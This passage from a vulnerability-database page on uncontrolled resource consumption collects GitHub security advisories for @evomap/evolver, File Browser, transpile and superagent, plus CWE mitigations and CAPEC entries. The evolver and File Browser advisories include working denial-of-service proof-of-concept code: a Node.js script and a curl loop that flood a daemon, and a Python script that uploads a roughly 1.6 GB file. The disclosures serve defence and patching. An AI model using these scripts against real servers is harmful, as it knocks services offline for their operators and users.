fs.readFileSync(filePath, \u0027utf8\u0027);  // synchronous, full-file\n  ...\n}\n// line 143-164: _rebuildIndex() called from constructor reads every line\n```\n\nA multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts.\n\n**5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, \u0027127.0.0.1\u0027, ...)`):\n\n\u003e \"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) \u2026 No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes.\"\n\nAny local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.\n\n**6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent.\n\n## PoC\n\nRun from the repo root:\n\n```js\n// poc-asset-submit.js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),os=require(\u0027os\u0027),path=require(\u0027path\u0027);\nconst {MailboxStore}=require(\u0027./src/proxy/mailbox/store\u0027);\nconst {ProxyHttpServer}=require(\u0027./src/proxy/server/http\u0027);\nconst {buildRoutes}=require(\u0027./src/proxy/server/routes\u0027);\n(async()=\u003e{\n  const dir=fs.mkdtempSync(path.join(os.tmpdir(),\u0027poc-\u0027));\n  const store=new MailboxStore(dir);\n  const handlers={assetFetch:async()=\u003e({}),assetSearch:async()=\u003e({}),assetValidate:async()=\u003e({}),atpPost:async()=\u003e({}),atpGet:async()=\u003e({})};\n  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=\u003e{},error:()=\u003e{},warn:()=\u003e{}}});\n  await srv.start();\n  const send=(mb)=\u003enew Promise((res,rej)=\u003e{\n    const body=\u0027{\"assets\":[{\"asset_id\":\"sha256:dead\",\"blob\":\"\u0027+\u0027A\u0027.repeat(mb*1024*1024)+\u0027\"}]}\u0027;\n    const req=http.request({hostname:\u0027127.0.0.1\u0027,port:39922,path:\u0027/asset/submit\u0027,method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027,\u0027Content-Length\u0027:Buffer.byteLength(body)}},r=\u003e{r.resume();r.on(\u0027end\u0027,res);});\n    req.on(\u0027error\u0027,rej); req.write(body); req.end();\n  });\n  for(let i=0;i\u003c3;i++){await send(10);console.log(\u0027messages.jsonl=\u0027,fs.statSync(path.join(dir,\u0027messages.jsonl\u0027)).size,\u0027bytes\u0027);}\n  await srv.stop(); fs.rmSync(dir,{recursive:true});\n})();\n```\n\nVerified output:\n```\nmessages.jsonl= 10486078 bytes\nmessages.jsonl= 20972156 bytes\nmessages.jsonl= 31458234 bytes\n```\n\nLive exploitation against a running daemon (default port 19820):\n```\nprintf \u0027{\"assets\":[{\"blob\":\"%s\"}]}\u0027 \"$(head -c 10485760 /dev/zero | tr \u0027\\0\u0027 A)\" \u003e /tmp/big.json\nfor i in $(seq 1 1000); do\n  curl -s -X POST -H \u0027Content-Type: application/json\u0027 --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit\ndone\n```\n\n`\u003cdataDir\u003e/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.\n\n## Impact\n\n- **Disk exhaustion** of `\u003cdataDir\u003e` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too.\n- **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.\n- **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.\n- **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.\n\n## Recommended Fix\n\n1. Cap body size in `parseBody()` (`src/proxy/server/http.js`):\n\n```js\nconst MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB\n\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const declared = Number(req.headers[\u0027content-length\u0027]);\n    if (Number.isFinite(declared) \u0026\u0026 declared \u003e MAX_BODY_BYTES) {\n      const err = new Error(\u0027Request body too large\u0027);\n      err.statusCode = 413;\n      return reject(err);\n    }\n    const chunks = [];\n    let received = 0;\n    req.on(\u0027data\u0027, c =\u003e {\n      received += c.length;\n      if (received \u003e MAX_BODY_BYTES) {\n        const err = new Error(\u0027Request body too large\u0027);\n        err.statusCode = 413;\n        req.destroy();\n        return reject(err);\n      }\n      chunks.push(c);\n    });\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\n2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) \u2014 reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.\n\n3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`.\n\n4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.",
  "id": "GHSA-7xp7-m392-h92c",
  "modified": "2026-05-05T21:15:32Z",
  "published": "2026-05-05T21:15:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-7xp7-m392-h92c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS"
}

GHSA-7XQM-7738-642X

Vulnerability from github – Published: 2025-07-16 14:22 – Updated: 2025-07-29 23:27
VLAI
Summary
File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing
Details

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to: - Lack of memory-safe streaming or chunked reading during file processing. - Absence of validation or size limits during the read phase. - Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact

Denial of Service

Evidence

Pasted image (4)

Pasted image (2)

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "versions": [
        "2.38.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-16T14:22:36Z",
    "nvd_published_at": "2025-07-15T18:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint  `Filebrowser-Server-IP:PORT/files/{file-name}` . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.\n\n### Details\n\nThe endpoint ` /api/resources/{file-name}` accepts `PUT` requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.\n\nThis approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to:\n- Lack of memory-safe streaming or chunked reading during file processing.\n- Absence of validation or size limits during the read phase.\n- Possibly synchronous or blocking file parsing without protection.\n\n### PoC\n0. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:\n\n```\ndocker run \\\n    -v filebrowser_data:/srv \\\n    -v filebrowser_database:/database \\\n    -v filebrowser_config:/config \\\n    -p 8080:80 \\\n    filebrowser/filebrowser```\n```\n\n1. First login in your filebrowser and create a simple empty file eg. name it `another`\n2. We will add a large data into this file via `PUT` method on the api by running the following `Python` script (as an exploit PoC script)\n\n```python\nimport requests\n\nurl = \"http://filebrowser-server-IP:8080/api/resources/another\"\nauth_token = \"eyJh-auth-token-goes-here\"\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0\",\n    \"Accept\": \"*/*\",\n    \"Accept-Language\": \"en-US,en;q=0.5\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Referer\": \"http://filebrowser-server-IP:8080/files/another\",\n    \"X-Auth\": auth_token,\n    \"Content-Type\": \"text/plain;charset=UTF-8\",\n    \"Origin\": \"http://filebrowser-server-IP:8080\",\n    \"Connection\": \"close\",\n    \"Priority\": \"u=0\"\n}\n\n# Generate a very large string into a file (e.g 1.6 GB)\n\nbase = \"testing data goes here\\n\"\nrepeat_count = 120_000_000  \n\ndata = base * repeat_count\n\nprint(\"Sending large payload...\")\nresponse = requests.put(url, headers=headers, data=data)\n\n# Output the response\nprint(f\"Status Code: {response.status_code}\")\nprint(\"Response Body:\")\nprint(response.text)\n```\n\n3. After running this script, go back in your filebrowser dashboard and try to open the file `another` - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)\n\n\n### Impact\nDenial of Service\n\n### Evidence\n\u003cimg width=\"2191\" height=\"350\" alt=\"Pasted image (4)\" src=\"https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7\" /\u003e\n\n\n\u003cimg width=\"2012\" height=\"1039\" alt=\"Pasted image (2)\" src=\"https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85\" /\u003e",
  "id": "GHSA-7xqm-7738-642x",
  "modified": "2025-07-29T23:27:20Z",
  "published": "2025-07-16T14:22:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7xqm-7738-642x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5294"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser\u0027s Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing"
}

GHSA-7XRJ-F5RP-J55H

Vulnerability from github – Published: 2021-09-02 17:10 – Updated: 2021-08-25 19:32
VLAI
Summary
Uncontrolled Resource Consumption in transpile
Details

All versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "transpile"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-25T19:32:59Z",
    "nvd_published_at": "2021-08-24T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.",
  "id": "GHSA-7xrj-f5rp-j55h",
  "modified": "2021-08-25T19:32:59Z",
  "published": "2021-09-02T17:10:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23429"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stealjs/transpile"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stealjs/transpile/blob/56aaeb26f69496e45a60c03dc92653d53021d4ac/main.js%23L53"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-TRANSPILE-1290774"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in transpile"
}

GHSA-7XVJ-WJVR-57C5

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-10-27 19:00
VLAI
Details

The affected product does not properly control the allocation of resources. A user may be able to allocate unlimited memory buffers using API functions.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-38463"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-22T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "The affected product does not properly control the allocation of resources. A user may be able to allocate unlimited memory buffers using API functions.",
  "id": "GHSA-7xvj-wjvr-57c5",
  "modified": "2022-10-27T19:00:32Z",
  "published": "2022-05-24T19:18:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38463"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-292-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8225-6CVR-8PQP

Vulnerability from github – Published: 2018-08-09 20:13 – Updated: 2023-09-08 23:55
VLAI
Summary
superagent vulnerable to zip bomb attacks
Details

Affected versions of superagent do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a ZIP bomb attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.

This may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.

Recommendation

Update to version 3.7.0 or later.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "superagent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.",
  "id": "GHSA-8225-6cvr-8pqp",
  "modified": "2023-09-08T23:55:11Z",
  "published": "2018-08-09T20:13:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/visionmedia/superagent/issues/1259"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Zip_bomb"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8225-6cvr-8pqp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/479"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "superagent vulnerable to zip bomb attacks"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list